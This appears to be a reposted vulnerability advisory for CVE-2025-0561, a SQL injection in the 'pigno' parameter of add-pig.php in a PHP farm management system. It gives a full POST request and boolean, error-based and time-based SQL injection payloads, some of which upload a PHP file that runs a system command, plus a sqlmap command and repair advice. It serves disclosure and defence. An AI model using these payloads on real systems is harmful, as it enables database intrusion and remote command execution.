CVE-2025-0561

Itsourcecode Farm Management System In PHP v1.0 add-pig.php SQL injection

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • weiwei-abc

Vulnerable File

  • add-pig.php

VERSION(S)

  • V1.0

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the ‘add-pig.php’ file of the ‘Farm Management System In PHP’ project. The reason for this issue is that attackers inject malicious code from the parameter “pigno” and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

在这里插入图片描述

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • Due to insufficient user input verification for the “pigno” parameter, a serious SQL injection vulnerability has been discovered in the login function of the “Farm Management System In PHP”, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

POST /add-pig.php HTTP/1.1
Host: 192.168.1.136:1219
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------359458591942496535511331165261
Content-Length: 1199
Origin: http://192.168.1.136:1219
Connection: close
Referer: http://192.168.1.136:1219/add-pig.php
Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%227LWOmQxn1kFNKDQIKEqUQQ%3D%3D%22%2C%22mac%22%3A%22f46715269295f7bc9c1753cf49cb29de885e0738%22%2C%22payload%22%3A%22uwlGMpERga3ktRQQmcLQUg%3D%3D%22%7D; PHPSESSID=4j8anjs7rlcs27867bnlmj1116; phpMyAdmin=5r1opuf2mqc9j30vli7mfrhvtt; pmaAuth-1=%7B%22iv%22%3A%22HbgyCK8mDtH6Yh3l1rTCWw%3D%3D%22%2C%22mac%22%3A%226259e5b1095aeff224b50540aea65c624fb900c9%22%2C%22payload%22%3A%22SiwuQJzR6qfxiA6velzoYRz%2BXnITRHrg37ZL9M1sbb0%3D%22%7D
Upgrade-Insecure-Requests: 1
Priority: u=1

-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"

pig-fms-5320
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"

2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"

male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"

active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"

1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream

-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"


-----------------------------359458591942496535511331165261--

Vulnerability type:

  • time-based blind
  • boolean-based blind
  • error-based
  • stacked queries

Vulnerability location:

  • ‘pigno’ parameter

Payload:

Parameter: MULTIPART pigno ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"

pig-fms-5320' RLIKE (SELECT (CASE WHEN (5474=5474) THEN 0x7069672d666d732d35333230 ELSE 0x28 END)) AND 'YqbQ'='YqbQ
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"

2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"

male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"

active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"

1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream

<?php system("ipconfig"); ?>
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"


-----------------------------359458591942496535511331165261--

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"

pig-fms-5320' AND EXTRACTVALUE(4487,CONCAT(0x5c,0x7178767871,(SELECT (ELT(4487=4487,1))),0x71786a7a71)) AND 'nUep'='nUep
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"

2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"

male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"

active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"

1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream

<?php system("ipconfig"); ?>
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"


-----------------------------359458591942496535511331165261--

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"

pig-fms-5320' RLIKE SLEEP(5) AND 'bQdJ'='bQdJ
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"

2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"

male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"

active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"

1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"

123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream


-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"


-----------------------------359458591942496535511331165261--


在这里插入图片描述

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r 123 --batch --dbs  

在这里插入图片描述

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as’ root ‘or’ admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

上一篇:C++实现设计模式---解释器模式 (Interpreter Pattern)


下一篇:从 Spark 到 StarRocks:实现58同城湖仓一体架构的高效转型